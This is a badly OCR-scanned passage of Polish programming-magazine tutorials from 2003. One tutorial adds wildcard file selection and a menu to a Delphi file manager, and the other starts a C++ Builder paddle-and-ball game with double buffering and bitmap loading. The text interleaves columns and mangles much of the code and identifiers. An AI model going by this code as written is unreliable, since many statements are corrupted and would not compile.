- to menu o nazwie Plik zawierajace cztery pozycje: Kopiuj, Przenies, znajdujgcy sie w polu tekstowym na-

Usun oraz Wyjdz.

procedure TForml.zaznacz;
1. Uruchamiamy pakiet Delphi i wczytujemy projekt z Ekspert Comman- va],:list, : TList; \

| listView : TListView:

derem. Na formatke dodajemy znajdujacy sie na palecie komponentow ! nagk < otrings
w zakladce Standard komponent TMainMe- [ ppe——
nu. Klikamy na niego dwukrotnie. R -9 inazva @ String:

1
| found : bool;
'\ifileRec : TFileRecord:

1
!
i
]
i
i
i
i
i
i
]
i
]
7

’

e 5] | 2~ Naelanie pojawi sig okno |
. edytora menu .Y pOZWalajace na : if Zi?:nacz.shuw]{c‘dal <> mrOK then \:
Properties | Eventsl . i L i . > i
dodanie poszczegoinych pozycji. Klikamy na @, a nastepnie else :
2°:'°gh el 21 1 wywotujemy okno Object Inspectora. Odszukujemy s MR onereasellRzaznarz Rl CITICKT]
Lol nec alze
e de!m wiasciwosc C.ap“.OE [ 3 . 5F R i \
- zie wpisujemy @ i wciskamy kla- egin :
.-’-‘«_uloLlneF!edu maParent g' e En?__fule y : CiSkamy af) list := self.leftlist; !
Bitmap [Mone) WISZ =, i b listView := self.listViewlLeft; |
Break mbMone e i [ ! =nd else !
Capticn Flik € | 3 . i begin i
Checked Falze - MEUU ZOStaiq Wyposazone : i list := self.rightlist: i
Difaul ke — | wpozycj¢ @. Mozemy teraz zbudo- | listView := self.listViewRight; |
Enabled True wac dalsza strukture. Klikamy na @;- : end; }
E'Dluglndte”t g odszukujemy w Object Inspecto- Kopiui [[p zZound := false;
elpContex P . x - . .
Hint ~| rZe W.ia.SC!WOSC captlon l_p_rZyplsu_ Praenies ffor i := 0 to listView.Items.Count — 1 do
(&1l showm ~) lemy jej ciag znakow Kopiuj. Usur | begin i
. A D i if listview.Items[i] .Selected then !
i . L. , . . listview.Items[i] .Selected := false: |
4 . Powtarzajac czynnosci z punktow 2 i 3, | =g )
tworzymy strukture @. Kiedy bedzie gotowa, [@ o * =0 te list.Cou: - 1do
mozemy zamkna¢ edytor menu. begin .
fileRec := TFileRecord(list[i]): 1
. L. L if fileRec.rozszerzenie = '' then ]
5.r wykonaniu czynno$ci wymienionych w punktach 1 do 5 formatka G 3 nazwa := LowerCase (FileRec.nazua) ;
zostanie wyposazona w menu. Mozemy teraz kazdej pozyciji przypisac frag- Elsenam = LoverCase (FileRec.nazva) + @ + i
ment kodu programu. Wybieramy zatem pOZije KOpiUI OtWOTZy S|e okno S LowerCase {FileRec.rozszerzenie) ; J
kodu, gdzie wpisujemy @. Ta instrukcja to nic innego, jak i Y e
H . g . . a if compare3trii ask(nazwva, mas n
Ekspert radzi ﬂ programowe zasymulowanie kliknigcia przycisku Kopiuj. P :
ezeli na ekranie nie ma okna Zatem od tej chwili program bedzie reagowat identycznie H 4 ;if,zi'?f'iiﬁm Rl =GR |
Object Inspectora lubtez | Zarowno na kliknigcie przycisku Kopiuj, jak i wybranie po- end; ) ] .’
jest ono zastonigte przez inne zycji Kopiuj z menu Plik. end:
okno, w celu przywotania go na fif mot found then A
ekran nalezy z menu View wy- procedure TForml.KopiujilClick(Sender: ToObject): D { begin ) ) !
2 q . q ] ShowMessage ('Nie znaleziono wzorca. ')z
bra¢ pozycje Object Inspector begin . ;
lub wcisna¢ klawisz [P, P> bRopiuj.Click; End_\‘en 3 ‘
end; H
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pis. Zmieniamy wiasciwosci _1ofx| znalez¢ sie jej deklaracja, tuz za deklaracjami funkcji wezesniej zdefiniowa-
przycisku @ Caption na Anuluj, Sooooiiiiiiiiiitioirl o nych @. Parametrami funkeji sg str i mask. Pierwszy to cigg znakow, kio-
Name na bAnulu], ModalResult na IEdit‘I ry Chcemy poréwnaé i function getFileNeweNoExt (name : string):strineg:
mrCancel, whasciwosci przycisku @i [ ool zwzorcem, drugi to samy | function getFileExt{name : string):string;

il ! C . . i function reversePos(substr, s : string; caseSensitive :
Captlon na OK, Name na bOKu ! -3 Button2 | : A Button | WZz0rzec. E function goBackipath : string) :string;
ModalResult na mrOK. | e AT T TreS¢ funkcji mozemy tgfunction compareStriithiiask(str, mask : string) :boolesn;

3. Przetaczamy sie na edycje pliku commander.pas, klikajac na za-
ktadke [commander . Na liScie uses dopisujemy nazwe zaznacz. W sekcji
public dodajemy deklaracje nowej procedury: [prozedure zaznacz;],
Bedzie ona odpowiedzialna za wywotanie formy FZaznacz, w ktorej uzyt-
kownik wprowadzi wzorzec, wedtug kidrego bedg zaznaczane pliki, oraz do-
kona samego zaznaczenia.

umiesci¢ w dowolnym

[:® Deklarujemy zmienne, z ktérych bedziemy korzysta¢ podczas poréwny-
wania nazwy pliku z wzorcem.
B Kod wykonywalny zaczynamy od sprawdzenia, czy jeden z parametrow

nie jest pustym ciggiem :
, i A function comparedtrWithMask(str, mask :
znakow. Jesli tak, ich var

porownywanie nie ma e e e

\
1
[‘.’ II:nSt,r, lenMask : integer; :
’

string) ;boolean;

4 . Piszemy procedurg zaznacz. Kod widoczny jest na stronie 46. sensu, a zatem rezulta- | | CesweSir i siiing

[® Na poczatku deklarujemy niezbedne zmienne. (B> Wyswietlamy forme  tem dziatania jest war- {If Timask = TTY or [str = 11} Eheay

FZaznacz, a nastepnie sprawdzamy, czy zostat weisniety klawisz OK. Je-  to$¢ false. B Y i g e

$li tak, przypisujemy wprowadzony cigg znakéw zmiennej mask. W prze- [ Kolejny krok to usta- Lo )

ciwnym wypadku konczymy wykonywanie procedury. [ W zaleznosciod  wienie poczatkowych AT .
stanu zmiennej LeftFocus, czyli od tego, czy aktywny jest prawy czy lewy  warto$ci zmiennych po- B | Imn'__ m;mm_ S lpn._,mmm-‘i

panel, przypisujemy zmiennym list i listView zawarto$¢ prawej lub le-
wej listy. [l Przypisujemy zmiennej found wartos¢ false. Zmienna ta
pozwoli nam na stwierdzenie, czy podczas poszukiwan znalezlismy jakis
plik odpowiadajacy wzorcowi zapisanemu w mask. [3 Sprawdzamy, ktdre
elementy listy sg aktualnie zaznaczone, i usuwamy to zaznaczenie, aby nie
zafatszowac wyniku dalszych poréwnan. [@Rozpoczynamy gtowng petle
przegladajgcg wszystkie nazwy plikow i katalogow zapisane na liscie list.
[<® Pobieramy nazwe pliku i zapisujemy ja w zmiennej nazwa. Uzyta kon-

strukcja warunkowa pozwala na stwierdzenie, czy aktualnie przetwarzany ciggu znakéw zapisanych Eg'in” ) - et tnen et
element (plik, katalog) ma w nazwie rozszerzenie. Je$li tak, uwzgledniamy — w zmiennej str i dfu- /€152 1 (wask(d + i1 = 7] of waskii + 11 = 177) chedy
je, przypisujac dane do zmiennej nazwa.[iB Wywotujemy funkcje go$¢ ciggu znakow zapi- D B
compareStriithMask, ktéra sprawdzi, czy ciag znakow (napis), znajdu-  sanych w zmiennej g omeinue;
jacy sie w zmiennej nazwa, jest zgodny ze wzorcem zapisanym w mask. mask. FEGin i _ S
Jesli jest zgodny, instrukcja listView. Items[i].Selected:= true; [ Rozpoczynamy petle e
zaznaczamy element o tej nazwie na liscie 1istView oraz przypisujemy poréwnujaca, ktdra za- ST
zmiennej found warto$¢ true. I Po zakonczeniu petli sprawdzamy stan  konczy sie, kiedy zosta- GRS 60 EoR
zmiennej found. Jezeli nie jest ona rowna true (nie zostat znaleziony za-  nie spefniony jeden [J 3 cnd else
den element pasujacy do wzorca), wyswietlamy odpowiedni komunikat. zwarunkow: 1 <= B
lenstr lub
5. Procedure zaznacz nalezy wywola¢ po wcisnieciu klawisza z symbo-  j <= lenMask, to zna- I
lem plus na klawiaturze numerycznej. Nalezy zatem zmodyfikowac rowniez  czy kiedy przejrzymy sl g
procedure TForml.listViewLertKeybown(Sender: Tobject: war Key: Mord: WSZySIkie Znaki Zapisane cnd: Fime hRsh pEsul T falses s
Shift: TShiftState); w Str |Ub WSZyStkie 7na- [D 1t (1 <= lenStr) or (] <= lenMask] then result := false;

begin
if key = VE_RETURN Lhen
listViewLeft.OnDblClick(self)
Flar 1T key = VE_ADD rthen
saznacs;
ene;

K
kod przypisany do zdarzenia OnKeyDown komponentu listViewleft @.
W sposadb analogiczny nalezy zmieni¢ kod przypisany do zdarzenia

OnKeyDown komponentu listViewRight.

Poréwnaj Z wzorcem
W procedurze zaznacz uzylismy funkcji compareStriithMask wyko-

nujgcej poréwnanie ciggu znakow z wzorcem. Funkcje te musimy napisac

sami i umiesci¢ w pliku cmdUtils.pas. Na poczatku tego pliku powinna
ybranie z menu Plik pozycji Wyjdz powinno spowodowa¢ zamk-

nigcie aplikacji. Mozemy to wykona¢ na dwa sposoby: zamykajac

forme gtéwna lub wykonujac instrukcje Application.Terminate;

Zamykanie aplikacji )

W Eskpert Commanderze skorzystamy ze sposobu pierwszego, zatem do
menu Wyjdz przypiszemy kod @+

mocniczych i, 3,

'\rcaulb 1= truc;

vhile (i <= lendtr) and (j <= lenMask) du

strLen i maskLen.

Zmienne 1 i to numery begin
(indeksy) aktualnie po- D:’;Zﬁﬁ“” R }
rOWnyWanyCh znakéw I\ ERCL RIS EI I R ¥ cnnt.i.nuc;I:
w zmiennych str i mask,
lenStr i lenMask

to odpowiednio diugo$¢

end

SEISE I KT ]~ =" T 7T TChRED X
1
i

D | begin
i 1= 1 4 1; ] 1= 3 + 12 cnntxnuei

Neud /

else if mask[i] = '*' then

end:

ki zapisane w mask. Caty

proces poréwnywania ciggu znakow str z wzorcem mask sprowadza sie
do sprawdzenia zalezno$ci wystepujacych pomiedzy kolejnymi znakami.
Musimy zatem sprawdzi¢ szereg warunkdw.

[ Jezeli znak znajdujacy sie na pozycji 1 w str jest taki sam jak znak
znajdujacy sig na pozycji j w mask, zwigkszamy 1 i j o jeden i przecho-
dzimy do kolejnej iteraciji petli.

[ Jezeli znak wskazywany przez j w mask jest znakiem zapytania (na
przyktad au?o), odpowiadajgcy mu znak w str moze by¢ dowolny, wyko-
nujemy zatem te same czynno$ci co w punkcie [

[ Sytuacja komplikuje sie nieco, kiedy na pozycji j w mask odnajdzie-
my znak * oznaczajacy, ze od tego momentu w pordwnywanym napisie
(str) moze wystapi¢ dowolny ciag znakow.

[P Jezeli * jest ostatnim znakiem wzorca (na przykfad auto*), to str jest
z nim zgodny, konczymy zatem wykonywanie funkcji.

> Jezeli kolejnym znakiem w mask jest rowniez * (auto**) lub ?
(auto*?), zwigkszamy j o jeden i wymuszamy kolejng iteracje petli.

ED Jezeli we wzorcu za znakiem * wystepuje inny znak (auto*c), Sprawdza-

procedure TForml.WyjdiClick(Sender: TObject): my, czy w str tez wystepuje ten znak. Jesli nie, wynik porwnywania jest

I — B negatywny i koriczymy wykonywanie funkcji (result:= falsejexit;).
close H =< . . , .

end: W przeciwnym przypadku kontynuujemy poréwnywanie.

[® Na koricu funkcji compareStriithMask sprawdzamy, czy podczas
wykonywania petli while przejrzeliSmy na pewno wszystkie znaki zardwno

w str, jak i wmask. Je$li nie, wynik dziatania funkcji jest negatywny. ML m
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Petny kod
rodiowy

=0l
Gra

Piszemy gre
Jako narzedzie wykorzystamy $ro-
dowisko C+ + Builder Personal
(zostato zamieszczone na plycie CD
dotgczonej do Eksperta 1/2002, eg-
zemplarze archiwalne mozna zamo-
wi¢ pod numerem 0801120003).
Napiszemy gre, w ktorej zadaniem
bedzie odbijanie pitki. Gra bedzie

rozpoczynata sie po wybraniu z me-

nu pozycji Start, zakonczy sie, gdy

pitka osiggnie dolny brzeg ekranu,

a uzytkownik nie odbije jej paletka.
W oknie aplikacji @ jako tfo, be-

dziemy wyswietla¢ obraz wezytany
z pliku graficznego. Podobnie, ob-
razy pitki oraz paletki rowniez bedg
wezytywane z plikow. Dzigki temu
uzytkownik bedzie miaft mozliwo$¢
ich zmiany na bardziej mu odpo-
wiadajgce. W kolejnym numerze
dodamy do naszej gry nowe atrak-
cyjne funkcje, takie jak definiowa-
nie poziomow trudnosci.

Pierwsze kroki

1. Uruchamiamy pakiet C+ +
Builder. Widoczna po uruchomie-
niu forma gtéwna — Form1 — be-
dzie oknem naszej gry. Ustawiamy
jej rozmiary na takie, jakie bedzie
miat ekran gry. Nastepnie zmienia-
my napis na pasku tytutu okna @

i

#include <vcl.h>
fipragms hdrstop

#include "KodGry.h"

i

#pragma packKage (Swart 1init)

fipragma resource "¥.dfm"

TForml *Forml;

I

__fastcall TForml::TForml (TComponent*® Owner)
: TForm{Qumner)

-

na Gra Eksperta. Zapisujemy tez
caty projekt na dysku. Plik z kodem
nazywamy KodGry.cpp, natomiast
plik projekiu GraEksperta.bpr.

2. Przetaczamy sie na widok ko-
__du, wciskajgc klawisz .. Widocz-
ny fragment @ zostat wygenerowa-
ny automatycznie przez $rodowisko
programistyczne. Sg to deklaracje

niezbedne do prawidfowej kompila-

Publiczne czy prywatne? |

~

tod deklarowanych przez uzytkownika. Pierwsze
oznaczone jest stowem public (publiczne),
drugie private (prywatne). Jaka jest miedzy
nimi roznica? Otoz zmienne i metody prywatne
dostepne sg bezposrednio tylko dla klasy,

w ktorej zostaty zdefiniowane, natomiast pu-

pliku nagtéwkowym KodGry.h widocz-
ne sg dwa miejsca dla zmiennych i me-

CZERWIEC - LIPIEC 2003 [Nt aaa]

bliczne nie majg takich ograniczen. Na przyktad,
gdyby nasza gra sktadata sie nie z jednej, ale

z dwéch form: Forml i Form2, to forma druga
(Form2) nie mogtaby sie odwotywa¢ do zmien-
nych zadeklarowanych w sekcji private formy
pierwszej (Form1), mogtaby natomiast odczytac¢
bez problemu zawartos¢ zmiennych zadeklaro-
wanych w sekgji public.

)

disanie gier komputerowych to fascynujace zajecie. Osoba poczatkujaca nie na-
sze od razu Quake’a, jednak podstawowych technik mozna nauczy¢ sie, two-
3c prostsze, ale rowniez atrakcyjne gry zrecznosciowe

K. )
lodGr_l,l cpp I "
Pl

el
Close Page

Mew Edit Window
Pages

Open Source/Header File

(ballPic) oraz paletki (pad-
dlePic). Zmienna activa-
ted bedzie nas informowata
0 tym, czy okno aplikacji zo-

]

cji programu. Nie musimy sie jed-
nak nimi zajmowac — C++ Buil-
der bedzie nimi zarzadzat bez po-

trzeby naszej ingerenciji.

Musimy dokonac¢ deklaracji
zmiennych i metod, z ktorych be-
dzie korzystata nasza aplikacja.
Powinny sie one znalez¢ w pliku

stafo w petni utworzone — tylko
wtedy bowiem mozemy wyswietlac
obrazy na ekranie. Zmienne posX

i posY przechowywac bedg wspot-
rzedne potozenia pitki na ekranie,
apaddleX i paddleY wspéirzedne
potozenia paletki. stepX i stepY
wyznaczac beda, o ile pikseli nalezy
przesungc obraz pitki w kazdym ru-

nagtowkowym KodGry.h.
Przetaczanie miedzy plikami
projektu uzyskujemy przez
kliknigcie prawym klawiszem

_____________________ 1

#i

s
i
1

#define KodGryH

fndef KodGryH

nelude «<Classes hpp>
nelude <controls,hpps>

myszy na zaktadke @ i wybra-

Poczatkowa zawarto$c pliku
KodGry.h zostata wygenerowa- ,
na automatycznie (jak w przy-
padku pliku KodGry.cpp)

przez C++ Builder ®. Migj-

#include <3tdCrrls.hpps
#include <Forms.hpps

Lifs
class TForml :
{
_ published:
PEIvAte:

public TForm

{// IDE-managed Components

_ fastecall TForml (TComponcnt® Owner):

s
extern PACKAGE TForml *Forml;
i/

sce na deklaracje uzytkownika

Hendif

Sg 0Znaczone @-

Nasze deklaracje umiescimy
w sekcji private (patrz ramka Pu
bliczne czy prywatne?) @-----

nicze, ktore umozliwig nam wy-

chu animacji. Na koncu deklarujemy
- metody draw() i move(). Pierwsza
bedzie odpowiedzialna za rysowanie
obrazu, natomiast druga za oblicza-
Y nie wspotrzednych pitki.

———

Swietlanie obrazow

private:

/ User declarations

w oknie aplikacji
i unikniecie nie-

| TCanvas™®
| HEITHAP

l/‘ElJ.:(.' mempC;

I\;rRI:IJL" backyruvundReclt, *ballRecl, 'pulililtRl:L:L.;‘l

merCany;
b 2

przyjemnego efektu

migotania obrazu.
Zajmiemy sie blizej

{TPicture™
rt— TPicture® !
'\;l'P icture* paddlePic: /

backgroundric:}
balllic;

tym problemem za |
chwilg. o
Blok drugi @ to
obiekty, ktdre beda
przechowywaty ob-
razy: ffa (backgro-
undPic), pitki

int posX,

pubrlics !

H bool actiwvated:

int otepX, otepY:

int paddlex, paddleY;

vold draw();
wvoid move()

posY:

/ User declacations




@Ekspert radzi |

o przetaczania sig pomigdzy wi-
dokiem kodu a widokiem for-
matki uzywamy klawisza [F12,.
Z kolei aby wywota¢ okno Object
Inspectora, wciskamy klawisz [F,.

Rysowanie na ekranie
Problemem, ktéry musimy roz-
wigzac, jest kwestia rysowania
i animacji obrazow. Jednym ze
sposobow jest uzycie komponen-
tow TImage, tak jak zostato to zro-
bione w grze zaprezentowanej
w numerze 1/2003 Eksperta. Wy-
dawac by sie mogfo, ze wystarczy
cyklicznie zmienia¢ potozenie ta-
kiego komponentu, aby osiggnac
efekt animacji.
Niestety, spotka nas zawod. Fak-
tycznie, jezeli na przykfad co
10 milisekund zmienia¢ bedziemy
potozenie takiego komponentu, ob-
raz w nim zapisany bedzie sie prze-
suwat ptynnie po ekranie. Jedno-
czesnie jednak bedzie migotat,
psujac caty efekt. Migotanie to
szczegolnie bedzie widoczne, jesli
jeden obraz bedzie przesuwany nad

innym obrazem (na przyktad obraz
pitki przesuwany nad obrazem tfa).

Rozwigzaniem tego problemu jest
technika zwana podwéjnym bufo-
rowaniem (ang. double buffering).
Polega ona na tym, ze obraz rysu-
jemy w utworzonym w pamieci bu-
forze (ekranie wirtualnym), a dopie-
10 po zbudowaniu catej klatki wy-
Swietlamy go na ekranie.

1. Do dalszej pracy niezbedne be-
dzie utworzenie wirtualnego ekranu.
Powinien on powstac jeszcze przed
wySwietleniem okna aplikacji, nale-
2y zatem wykorzysta¢ zdarzenie
OnActivate. Przetaczamy sie do
widoku formatki, a nastepnie wywo-
tujemy na ekran okno Object In-
spectora. W zakfadce Events od-
szukujemy zdarzenie OnActivate

i klikamy dwukrotnie na znajdujace
sie obok szare pole.

2. W oknie kodu wpisujemy @:--
Kod ten zostanie wykonany w mo-
mencie pierwszego wyswietlenia
formy gtéwnej na ekranie. Ustalamy
najpierw liczbe pikseli, o ktorg be-
dzie przesuwat sig obraz pitki

@ Jak stworzyé ekran wirtualny |

tworzenie wirtualnego ekranu,

po ktérym moglibysmy ryso-
wac, tak jak w zwyktym oknie apli-
kacji, wymaga zadeklarowania do-
datkowych zmiennych oraz wywo-
tania funkgji systemowych Win-
dows (funkcji APl Windows).
Do rysowania w oknie aplikacji po-
trzebny jest obiekt typu TCanvas.
Pozwala on wywotywac¢ metody ry-
sujgce na ekranie figury geome-
tryczne, napisy, obrazy bitmapowe,
itp. Obiekt taki scisle powigzany
jest z oknem, na ktorym chcemy ry-
sowac. Takim oknem jest nasza for-
ma gtéwna Forml. Gdybyémy za-
tem chcieli wyswietli¢ w wybranym
miejscu formy napis, nalezatoby
skorzystac z metody TextOut
w postaci Forml.Canvas . Te-
xtOut(x, y, "tekst”).
Jesli chcemy rysowac nie na ekra-
nie, lecz w pamieci, tez musimy
utworzy¢ obiekt TCanvas, nalezy
go jednak powigzac nie z oknem
(gdyz wtedy obrazy wyswietlane
bytyby na ekranie), ale z utworzo-
nym wczesniej w pamieci wirtual-
nym obrazem. Czynnosci do wyko-
nania sg zatem nastepujace |.

S —

1. Wywotujemy funkcje CreateCom-
patibleDC. Jako parametr przekazu-
jemy tak zwany uchwyt (czyli indenty-
fikator) obiektu Canvas przypisane-

go do formy Forml. Wynik tej ope-
racji przypisujemy do zmiennej
memDC.

W ten sposdb utworzylismy spe-
cjalny obiekt posredniczacy, tak
zwany kontekst urzadzenia (ang.
Memory Device Context).

2. Wywotujemy funkcje Create-
CompatibleBitmap. Przyjmuje ona
trzy parametry. Pierwszy to uchwyt
do obiektu Canvas przypisanego do
formy Forml. Funkcja ta tworzy

w pamieci wirtualny obraz (bitma-
pe), ktorej rozmiary okreslajg dwa
kolejne parametry. Zastosowane

w naszym przypadku ClientWidth
i ClientHeight to podane w pik-
selach odpowiednio szeroko$¢ i wy-
sokos¢ obszaru roboczego (na kto-
rym mozna rysowac) formy Forml.

3. Tworzymy nowy obiekt typu
TCanvas i wigzemy go z kontek-
stem urzadzenia powstatym

w punkcie 1.

4. Wigzemy ze sobg obiekty memDC
oraz bmp @~

W tej chwili, gdybysmy chcieli nary-
sowac na naszej wirtualnej bitmapie
dowolny tekst, powinnismy wyko-
nac instrukcje memCanv ->
TextOut (x, y, ,tekst”).

_)’memCanv = new TCanvas();
memCanv->Handle = memDbC:

S lertinjent (membil, hmp) @ <

wenDC = CreateCowpatibleDC (Canvas—>rIandle) ;
bwp = CreateCompatibleBitmap (Canvas->Handle, ClientWidth, ClientHeight)

A

wold  fastcall TForml::Formdctivate (TObject *Sender)
O ——
(2 = ‘
A {stepX = 5:
[ = 5. |
e S 26 0
{menmDC = CreateCompatibleDC (Canvas->Handle] ; N
iump = CreateCompatilblebltmap (Uanvas-»Handle, ClientWidth, Cllentﬂ21gnt];i
1 1
1 1
| memCanv = new TCanvas(): i
B :mu:mCuuv—')-Huudln: — menDC; :
| |
I\Sclcct,cbjcct, (mwcwDC, hap) » 3
<
C Il’posx = (flientWidth - ballPic->Width) / 2: ‘}
‘pos¥_= 0: 4
shaddief = (CliFntiidth — paddirBin—siiAthl 7 255
s . N . 1
D '\\naddl.eY = ClientHeight - paddlePic->Height: J
activated = true;
H

w kazdym ruchu 2@ Odpowiadaja
za to zmienne stepX i stepY. Na-
stepnie tworzymy ekran wirtualny.
Po wykonaniu operaciji -3 obiekt
memCanv bedzie umozliwiat wyko-
nywanie operacji graficznych na
znajdujacym sie w pamieci buforze
(patrz ramka Jak stworzy¢ ekran
wirtualny).

Ustalamy réwniez poczatkowe
pofozenie obrazu pitki [@». Ponie-
waz chcemy, aby znalazia sie ona
U gory ekranu w potowie jego wy-
soko$ci, wspotrzedng y ustalamy
na 0, natomiast wspofrzedng x wy-
liczamy ze wzoru: (SzerokoS¢ ekra-
nu minus szeroko$¢ pitki) dzielone
przez 2. Podobnie wyliczamy
wspdtrzedne poczatkowego potoze-
nia paletki . Na zakonczenie
przypisujemy zmiennej activated
warto$¢ true i tym samym infor-
mujemy aplikacje, ze wykonaliSmy
juz wszystkie czynno$ci zwigzane
7 aktywacjg ekranu wirtualnego.

3. Przypisujemy kod do zdarze-

nia OnCreate @. Zdarzenie fo jest
wykonywane podczas tworzenia for-
my, zawsze przed zdarzeniem
OnActivate. Ustalamy poczatkowy
stan zmiennej activated [
(dzieki temu funkcja draw() be-
dzie wiedziata, ze nie zostaty jesz-
cze wykonane wszystkie czynnoSci
niezbedne do rozpoczecia rysowa-

@ Co to jest TRect :

TRect jest strukturg danych, ktéra pozwala na reprezen-
tacje prostokata. Zawiera ona cztery pola okreslajace jego
potozenie i rozmiary: top, left, right, bottom. Para-
metry top oraz left okreélaja wspétrzedne lewego gér-
nego rogu, natomiast right i bottom prawego dolnego
rogu. W naszej aplikacji wykorzystujemy trzy takie struk-
tury: backgrundRect, ballRect oraz paddleRect.
Okreslaja one rozmiary wezytanych z plikéw obrazow i sg
niezbedne do prawidtowego narysowania ich na ekranie.

@ Jak przygotowac obrazy

brazy tta, pitki i palet-

ki mozna przygotowac
w dowolnym edytorze gra-
ficznym. Wazne jest, aby
kazdy z nich zapi-
sa¢ w formacie
bmp. W przypadku
pitki (oraz paletki,
jezeli miataby ona
ksztatt rozny od
prostokata) istnieje jeszcze
dodatkowy warunek, aby
tto, na ktorym sie ona znaj-
duje, byto biate. Jest to
niezbedne, gdyz w aplikacji

traktujemy kolor biaty jako
przezroczysty. Gdybysmy
ustawili inny kolor tta, za-
miast pitki na tle krajobrazu
zobaczylibysmy
kolorowy prosto-

runkiem jest tez
to, ze obraz pitki rowniez
nie moze zawierac koloru
biatego, chyba ze chcemy,
aby jakas jej czes¢ byta
przezroczysta.

ktad zdjecie krajobrazu. Jako obraz
paletki wykorzystamy bitmape 4
0 rozmiarach 40 na 10 pikseli. 4
Z obrazem pitki bedziemy mieli

nieco wiekszy ktopot, dlatego ze

tto, na ktorym bedzie sie ona znaj-
dowata, musi by¢ przezroczyste.
Dlatego tez obraz ten przygotujemy
yna biatym tle (patrz ramka Jak przy- |

nia) oraz tworzymy trzy obiek-
ty typu TPicture, ktdre bedg ¢

woid _ fastcall TForml::FormCreate (TChiect *Sender)

tivated = false;

przechowywaty obrazy, i przy-
pisujemy je do zmiennych

JbackoroundPic = new TPicture() ;)
iballPic = new TPicture():
'\paddlePic = new TPicturef():

ST

backgroundPic, ballPic
i paddlePic [

Nastepnie wezytujemy ob-
razy podktadu, pitki oraz pa- }
letki z przygotowanych plikow

graficznych [ Wykorzystu- ,

tryf

{ backgroundPic->LoadFromFile | "hackground. bup”) :
[(D! baliPic—>LoadFromFile {"ball.bup") ;
\paddlePic—>LoadFromFile{"paddle.bmp™]) ; ,

catch{Exception &e) {

N
1
i
]
’

ShowNessage ("Nie moge zatadowac plikow!"™):
Application->Terminate (] ;

jemy w tym celu metode
LoadFromFile. Obraz tfa
z pliku background. bmp,

/paddlePic->Bitwap->Transparent = true;
| paddlePic->Bitmap->TransparentColor = clihite;
1

1
{ballPic->Bitmap->Transparent =
'ballPic->Bitmap->TransparentColor = clWhite;

\
1
i
1
1
1
true; ]
1
7

obraz pitki z pliku ball.bmp

oraz obraz paletki z pliku
paddle.bmp.
Obrazem tfa moze by¢ do-

Ifbac]ogrmdeect = new TRect(0,0,ClientWidth,ClientHeight] X

1

1
[’:ballRect = new TRect():
'\paddleRect, = new TRect():

N

}

wolny plik graficzny, na przy-
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v PORADY PROGRAMOWANIE W C++

przypisujemy temu zdarzeniu na-
stepujgcy kod @.

J esli chcemy zwigkszy¢ wartos¢ zmiennej, mozemy za-
stosowac skrocony zapis dodawania. To znaczy, za-
miast pisa¢, na przyktad, posX = posX + 5 piszemy
posX += 5. Tak tez postepujemy w metodzie move ().
Zasada ta dotyczy nie tylko dodawania, ale takze innych
dziatan, takich jak odejmowanie, mnozenie, czy dzielenie.

gotowac obrazy?) i wykonamy in-
strukcije ustawiajgce ten kolor jako
przezroczysty B

Blok try...catch stuzy do
wychwycenia btedu, kiéry mogtby
sie pojawi¢ w trakcie tadowania pli-
kdw, na przykfad, kiedy jednego
z plikdw nie ma lub ma nieprawi-
dtowy format. W takiej sytuacji wy-
Swietlamy na ekranie odpowiedni
komunikat (ShowMessage ('Nie
moge zatadowaé plikow!'))
i konczymy dziatanie aplikacji, wy-
konujac instrukcje Application-
->Terminate().

Na zakonczenie tworzymy obiek-
ty backgroundRect, ballRect
i paddleRect [, kiore beda

obrazow.

przechowywaty potozenie i rozmiary

void fastcall TForml::FormbDestroy (TObject *Sender)

{ -

delete backgroundPic;
delete ballPic;

delete paddlePic;
delete backgroundRect;
delete ballRect;
delete paddleRect;

delete memCanv;

¥

4 . W punktach 2 i 3 utworzy-
lisSmy kilka obiektow, ktore s co
prawda niezbedne do dziatania
aplikaciji, ale zajmujg pamie¢ i inne
zasoby systemowe. Koniecznie mu-
simy pamietac, aby usunac je
z systemu po zakonczeniu pracy
programu. W tym celu najlepiej
wykorzysta¢ zdarzenie OnDestroy.
Korzystajac z Object Inspectora,

Zdarzenie OnPaint |

by zapewni¢ w petni poprawne dziatanie gry,
program musi obstugiwac zdarzenie OnPaint.
Jest ono wykonywane zawsze wtedy, kiedy zachodzi po-
. trzeba odrysowania obszaru okna aplikacji. Na przyktad
w sytuacji, kiedy okno zostato catkowicie lub czesciowo
zastoniete, a nastepnie odstoniete przez okno innej apli-
kacji. System informuje wtedy nasz program, ze powi-
nien on odswiezy¢ zawartos¢ swojego okna.

W zwyktej aplikacji, tworzonej w C++ Builderze, nie musi-
my sie zupetnie takg sytuacjg przejmowac, gdyz caty pro-
ces rysowania elementéw okna odbywa sie automatycz-
nie. W przypadku naszej gry tak jednak nie jest, gdyz
procedury rysujgce napisalismy sami. Skoro tak, program
musi tez odpowiednio reagowat na zdarzenie OnPaint.
Oczywiscie jedyne, co trzeba zrobi¢, to odrysowat obszar
okna, czyli wywota¢ funkcje draw (). Zdarzeniu OnPaint

void _ fastcall TForml::FormPaint (TObject *Sender)
{

draw(); <

¥
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Do usuwania obiektéw z pamigci
sfuzy instrukcja delete. Jest tak
w wiekszosci przypadkow. Jedynie
w przypadku obiektéw memDC oraz
bmp nalezy wywota¢ dodatkowe

system i zwolnig zajmowane przez
nie zasoby.

Czas na ruch

Skoro wezytalismy juz obrazy
z plikow i przygotowalismy ekran
wirtualny oraz obiekty pomocnicze,

£

Jak wykryé¢ kolizje )

la prawidtowego dziatania gry program musi wykrywac sytuacje, kiedy

obraz pitki zetknie sig z obrazem paletki, czyli wystapi kolizja tych
obiektow. W takiej sytuacji pitka musi sie odbic, czyli musi zosta¢ zmienio-
ny jej kierunek ruchu w pionie. W jaki jednak sposob wykryc¢ taka kolizje?

Oba obiekty nalezatoby potraktowac jako figury geo-
metryczne na ptaszczyznie, oraz zgodnie z zasadami

matematyki sprawdza¢, czy w danym potozeniu majg
one jakies punkty wspdlne. Jesli tak —
no wystapita. Niestety, taki sposdb komplikuje kod
gry. Dlatego tez posuniemy sie do matego oszustwa, B S
ktére uprosci nam zycie, nie psujac wcale zabawy.

Otoz bedziemy sprawdzac jedynie, czy nastapita kolizja prostokata okalaja-

kolizja na pew-

cego pitke z prostokatem okalajacym paletke @. To nie sprawi nam Zzadne-
go ktopotu. Czynnos¢ rozbijamy na dwie fazy. Najpierw sprawdzamy, czy
dolna krawedz prostokata okalajacego pitke (jego wymiary zawiera obiekt
ballRect) nie znajduje sie na poziomie gdrnej krawedzi paletki o,

czas zajac sie whasciwym rysowa-

p——

niem na ekranie oraz wprawieniem
obiektow w ruch. Rysowac bedzie-
my w funkcji draw(), a przesuwac
pitke i paletke w funkcji move ().
